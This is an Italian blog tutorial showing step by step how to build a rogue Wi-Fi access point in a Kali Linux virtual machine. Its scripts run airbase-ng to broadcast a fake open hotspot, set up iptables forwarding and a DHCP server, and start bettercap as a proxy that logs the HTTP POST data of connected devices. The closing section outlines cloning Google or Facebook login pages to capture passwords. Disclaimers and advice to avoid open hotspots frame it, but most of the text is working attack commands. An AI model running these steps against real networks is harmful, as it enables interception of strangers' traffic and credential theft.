Poiché l’articolo sul Wi-Fi sniffing è piaciuto molto, mi è stato chiesto anche un articolo che spiegasse la cosa in modo più approfondito utilizzando questa volta una scheda Wi-Fi esterna e la macchina virtuale di Kali Linux.
Cosa ci servere?
1. Una scheda wireless che supporti il “Monitore Mode”
Ce ne sono tante e da tutti i prezzi. Io ne utilizzo due:
– TP-LINK TL-WN722N che è solo sulla banda 2.4Ghz
– ALFA AWUS051NH v.2 che è sia 2.4GHz che 5Ghz.
Questo tutorial parte dal fatto che la scheda integrata sul vostro PC non sia in grado di andare in Monitor Mode e quindi utilizziate una ulteriore adattatore Wi-Fi esterno. Ad esempio uno dei due presentati sopra. Kali Linux ha già tutti i driver e quindi l’utilizzo di una di queste due schede non richiede l’installazione di software/driver aggiuntivi.
2. La macchina VirtualBox o VMWare di Kali Linux
La potete scaricare dal sito di Offensive Security.
Io utilizzo quella Virtual Box a 64 bit (full, non light). Se volete seguire questo tutorial dovete anche voi scaricare quella full così abbiamo già gli stessi tool preinstallati ed andremo ad aggiungere solo quelli mancanti.
Mi raccomando una volta scaricata controllate la firma sha-256 che su linux e osx potete fare con il comando shasum mentre su Windows potete farlo con SevenZip che, molti non lo sanno, nel menù contestuale vi mette la possibilità di fare l’hash con algoritmo sha di qualunque file.
Fatta partire la macchina virutale vi presenterà il prompt di login. Le credenziali di default sono:
user: root
password: toor
3. Gli script del tutorial
Per l’occasione ho anche messo su GitHub un repository con gli script che utilizzeremo in questo articolo. Lo trovate qui.
Se siete connessi col cavo di rete prendete gli script direttamente dalla cartella rouge_ap altrimenti se siete connessi con la scheda Wi-Fi del vostro PC allora prendete gli script presenti all’interno della cartella wlan0wlan1.
Avete preso nota di tutto?
Okay Partiamo.
Quindi fatta partire la macchina virtuale la prima cosa da fare è il clone del repository
git clone https://github.com/shadowsheep1/tutorials.git
Spostatevi nella cartella rouge_ap o rouge_ap/wlan0wlan1 a seconda della vostra configurazione.
Io mi sposterò nella cartella rouge_ap perché anche se questa volta sono collegato con la scheda Wi-Fi del PC, tale scheda sulla macchina virtuale è sempre vista come interfaccia eth0.
Poi colleghiamo la scheda di rete Wi-Fi USB esterna e tramite VirtualBox connettiamola alla nostra macchina virtuale Kali.
E con un dmesg vediamo che l’hardware è stato riconosciuto
Abbiamo ora la nostra bella interfaccia wlan0 con cui andare a fare l’Access Point Malevolo.
Ora installiamo un server DHCP, perché vogliamo dare ai nostri client una configurazione differente rispetto alla nostra. Solo per aggiungere un po’ di know how al tutorial. Potremmo anche lasciare che il DHCP lo faccia il nostro router.
Per questo tutorial installiamo isc-dhcp-server.
apt-get update && \ apt-get install isc-dhcp-server && \ dhcpd --version
Poi ci server sempre Bettercap.
Le istruzioni per installarlo le trovate sul sito ufficiale.
Il metedo più pulito per l’installazione di bettercap è utilizzare gem.
Quindi:
apt-get update && \ gem install bettercap && \ bettercap --version
Bene abbiamo tutto! 🙂
Possiamo partire con i nostri scritpt.
01_setup_eth0.sh
echo "nameserver 8.8.8.8" > /etc/resolv.conf cat /etc/resolv.conf ping www.versionestabile.it -c 3
Questo script potete anche non eseguirlo se volete.
Non fa altro che configurare com server DNS quello di Google (è quasi sempre uno dei più aggiornti).
Ho voluto inserire questo script per chi non sapeva come configurare da riga di comando il server DNS della propria distribuzione linux.
02_setup_ap_wlan0.sh
airmon-ng check kill && \ airmon-ng start wlan0 && \ airbase-ng --essid "free-hostspot" -c1 wlan0mon
Questo script lo avete già laniciato anhe nel tutorial precedente e non fa altro che configurare l’hotspot Wi-Fi con SSID “free-hotspot”.
Lasciate ovviamente aperto questo terminale e apritene un’altro su cui lanciare gli script rimanenti.
03_setup_at0.sh
ifconfig at0 up && \ ifconfig at0 192.168.2.1/24
Questo script configura la scheda di rete logica dell’Access Point (come nel precedente tutorial) e gli assegna il primo indirizzo della rete 192.168.2.0/24.
04_setup_iptables.sh
iptables -F iptables -t nat -F iptables -X iptables -t nat -X iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -A FORWARD -i at0 -j ACCEPT #iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8888
Questo script configura le regole del firewall per il routing e il forwarding.
Una breve descrizione per chi è nuovo a iptables:
- Il primo comando cancella tutte le regole per la rete del PC.
- Il secondo comando cancella tutte le regole per la tabella NAT (Network Address Translation)
- Il terzo comando cancella tutte le catene per la rete del PC.
- Il quarto comando cancella tutte le catene per la tabella NAT.
- Il quinto comando A(ggiunge) alla tabella NAT la regola di POSTrouting in cui tutti i pacchetti che vengono fatti uscire (-o) sull’interfaccia eth0 vengono mascherati, ovvero, fa in modo che i anche i pacchetti di una rete differente a quella del PC ma che passano attraverso di lui, vengano re-indirizzati sempre al nostro PC.
- Il sesto comando A(aggiunge) alle regole della rete del PC il FORWARD dei pacchetti. Ovvero fa in modo che tutti i pacchetti non appartenenti alla rete del PC non vangano “droppati” (ignorati e scartati) ma vengano fatti passare secondo le regole di routing (POST e/o PRE) ipostate.
L’ultimo comando l’ho commentato perchè lo fa già in automatico bettercap quando viene lanciato. Ovvero su tutti i pacchetti di tipo TCP sulla porta 80 non appartenenti alla rete di queto PC prima di farne il ROUTING vengono rediretti alla porta 8888 (dove ovviamente sarà in ascolto il nostro sniffer).
05_enable_fwd.sh
echo 1 > /proc/sys/net/ipv4/ip_forward more /proc/sys/net/ipv4/ip_forward
Non basta configurare il firewall affinchè faccia il FORWARD dei pacchetti non appartenenti alla sua rete, ma occorre anche abilitare la cosa a livello di sistema operativo. E quello che fa questo script.
06_start_dhcp.sh
touch /var/lib/dhcp/dhcpd.leases dhcpd -cf ./dhcpd.conf
Facciamo partire il server DHCP con la configurazione che abbiamo preparato nel nostro file dhcp.conf.
Prima crea (se non esiste) il file database dei lease, perchè se non c’è il server si arrabbia (non so perchè non lo crei, magari c’è un comando, ma non avendo mai avuto problemi facendo prima il touch, non ho indagato in merito).
#ddns-update-style ad-hoc; default-lease-time 600; max-lease-time 7200; subnet 192.168.2.0 netmask 255.255.255.0 { option subnet-mask 255.255.255.0; option broadcast-address 192.168.2.255; option routers 192.168.2.1; option domain-name-servers 8.8.8.8; range 192.168.2.51 192.168.2.100; }
Questo file configura come si deve comportare il nostro server DHCP.
In particolare a tutti i dispositivi che richiedono la configurazione di rete (quelli che si collegano al nostro Access Point) diamo come IP quelli della rete 192.168.2.0/24 a partire dal .51 fino al .100 (quindi ne accettiamo 50, bastano?)
A voi lo studio e le prove di altre configurazioni 😉
07_bettercap.sh
bettercap --proxy --proxy-port 8888 -I at0 --no-spoofing --no-discovery -P POST --log bettercap.log
E infine lanciamo il nostro sniffer (quello del precedente tutorial).
Lo lanciamo come proxy sulla porta 8888, sull’interfaccia at0, senza fare ARP spoofing questa volta, senza ricerca dei dispositivi (li conosciamo bene 😉 ) con il parser sui log per le richieste http POST e salvando il log nel file “bettercap.log”.
Adesso il mio buon vecchio iPhone5 abbocca e la storia la conoscete bene 😉
Vediamo il nostro free-hotspot
Ci colleghiamo e una volta collegati se clicchiamo sull’icona delle informazioni (i) vediamo che l’iPhone5 da bravo ci dice che la rete è insicura (ma nessuno mai ci bada, tanto abituati siamo negli aereoporti o stazioni ad avere hotstpot senza password).
E vediamo anche che il nostro server DHCP si è comportato bene dando al dispositivo la configurazione IP che gli avevamo detto di dare 😉
CONCLUSIONI
Siamo arrivati alle conclusioni. Innazitutto non smetterò mai di ripeterlo, questo post è solo divulgativo per imparare a conoscere come funzionano le cose in questi casi. Non va fatto mai assolutamente (è REATO) una cosa del genere in pubblico.
Poi pensate. Una volta che avete l’Access Point malevolo, avete visto che configurando il vostro PC in maniera opportuna, siete i completi detentori del traffico di quel dispositivo.
Mettiamo ora il caso, per esempio di voler anche redirigere le richieste di Google o Facebook (parliamo di Web e non di App) su un sito che risiede sul nostro PC e che si presenta in maniera identica ai loro. Qui dopo che l’utente ha inserito il suo nome utente e la sua password ce le salviamo e redirigiamo il traffico verso i siti reali. Ovviamente è REATO e illegale, ma lo diciamo sempre e solo per renderci conto della pericolosità della cosa nel caso dietro ad un Free-Hotspot ci sia un malintenzionato.
Quindi pensateci sempre due volte prima di collegarvi ad un hotspot senza password, e se potete navigate con la connessione dati 3G/4G del cellulare!
Spero che anche questo articolo vi sia piaciuto. Alla prossima!